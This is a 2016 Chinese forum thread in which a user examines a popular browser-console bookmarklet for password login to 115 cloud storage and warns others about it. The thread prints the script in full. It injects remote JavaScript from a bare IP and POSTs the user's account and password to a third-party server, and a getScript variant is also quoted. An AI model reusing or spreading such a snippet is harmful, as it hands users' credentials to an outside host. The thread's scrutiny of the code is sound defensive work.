115 网盘的强制二维码登录很烦,不想装他家的 App 也不想装他家的浏览器,所以想看看有没有啥办法用普通浏览器输账号密码登陆。
在网上开始搜索信息,搜索到结果大同小异啦,什么福*吧,吾爱*解之类的,随便点个帖子进去。发现在 console 里输点代码就可以了哈,用起来还挺简单的嘛~我喜欢!再一看帖子评分,哟,这么多好评,妥妥的精华帖啊!
然而。。。机智的我在把代码贴到 console 里之前多看了一眼
javascript:(function(){window.my115Server='http://139.129.47.212:3000/';var a=document.createElement('script');a.type='text/javascript';a.src=my115Server+'login.js';document.getElementsByTagName('head')[0].appendChild(a)})()
哈,其实就是注入了http://139.129.47.212:3000/login.js
嘛,直接把代码下下来学习一下~涨涨姿势水平嘛。
login.js 的内容是这样的
$('a[lgb-nav="login"]').click()
$('div[lg_rel="download"]').hide()
$('div[lg_rel="login"]').show()
var browserInterface = {
LoginEncrypt: function LoginEncrypt(env, callback) {
alert('\u5927\u5BB6\u6362\u8FD9\u4E2A\u811A\u672C\u5427, \u6700\u8FD1\u516C\u53F8\u5B9E\u5728\u592A\u5FD9\u4E860.0 https://github.com/kkHAIKE/fake115');
return false;
var server = (typeof my115Server)=='undefined'? 'http://192.168.31.110:3000/': my115Server;
var rTime;
function processDec(r) {
json = $.parseJSON(r.responseText);
if (!json.state) {
window[callback](r.responseText);
} else {
console.log('ok');
$.post(server, {body: json.data,time: rTime})
.success(function (r) {
var cookie = $.parseJSON(r.body).cookie;
var d = new Date();
d.setTime(d.getTime() + (7*24*60*60*1000));
for (var i in cookie) if ( cookie.hasOwnProperty(i) ) {
document.cookie = (i+'='+escape(cookie[i])+';expires='+d.toUTCString()+';domain='+'.115.com');
}
console.log('done');
location.reload();
});
}
}
var dat = {
account: $('#js-account').val(),
passwd: $('#js-passwd').val()
};
if (env.hasOwnProperty('country')) {
dat['country'] = env['country'];
}
$.post(server, dat)
.success(function (r) {
console.log(r);
rTime = r.time;
var settings = {
url: oofUtil.paths.PASSPORT + '/?'+$.param(r.headers),
cache: false,
type: 'POST',
data: {data: r.body, goto: ''},
complete: processDec
};
oofUtil.bridge.passport(settings);
});
}
};
window.browserInterface = browserInterface;
缩水一下的话呢,就是下面这样
...
alert('大家换这个脚本吧, 最近公司实在太忙了 0.0 https://github.com/kkHAIKE/fake115');
...
var server = (typeof my115Server)=='undefined'? 'http://192.168.31.110:3000/': my115Server;
...
var dat = {
account: $('#js-account').val(),
passwd: $('#js-passwd').val()
};
$.post(server, dat);
额,同学,你这有点侮辱我们智商啊。。。你对我的账号密码做了什么??而且,192.168.31.110
是什么鬼?难道是之前就被人发现了所以把服务器地址改掉了?
再打开其他几个搜索到的帖子发现,这段脚本还常常以这种形式出现
$.getScript('https://coding.net/u/imspace/p/m115p/git/raw/master/ref.js')
啊,于是。。。
1
popok 2016-10-20 18:22:49 +08:00 via iPhone
这个 js 我也用过,当时是可以用的,因为 115 的原因,需要把登录帐号密码用某个密钥加密后再提交登录,这个作者应该是逆向得到了加密的算法,然后通过他的服务器来加密我们的帐号密码的。我当时在 coding.net 上问过作者,为什么不把加密过程写在 js 里,见:
https://coding.net/u/imspace/p/m115p/topic/153515 当时作者说是为了兼容性考虑,具体情况我也不好说。 不过我觉得这种这么明显的代码,作者应该不至于这么 low 拿我们的密码,不过确实我们的密码是发往他的服务器了。 |
2
tyhunter 2016-10-20 18:36:14 +08:00
绑定了微信,一直用微信扫码登陆 115
|
3
ccloli 2016-10-20 18:42:43 +08:00
作者在刚完成时有在我所在的一个贴吧发布过,当时也有人提出为什么会把帐号密码发送给作者的阿里云服务器的质疑。往好了想,作者是为了防止计算方法被外泄,这样被滥用后 115 很有可能会再改一次算法,这样对于作者会徒增工作量,所以干脆闭源比较保险。反正我当时用完之后就先改了遍密码(
|
4
hronro 2016-10-20 20:48:55 +08:00
可怕😱,一般情况下我都没那个心思去看这些脚本的源码
|
5
popok 2016-10-21 08:29:11 +08:00
话说脚本小子一般指使用别人开发的程序来恶意破坏他人系统的那种人吧。
这个作者算不上脚本小子吧,而且也没证据证明作者盗了你的号,虽然我们的账号密码确实发到了他那个 api 上去。 |
6
he11owor1d OP @popok 嗯呐,确实是这样的。也许我错怪作者啦
|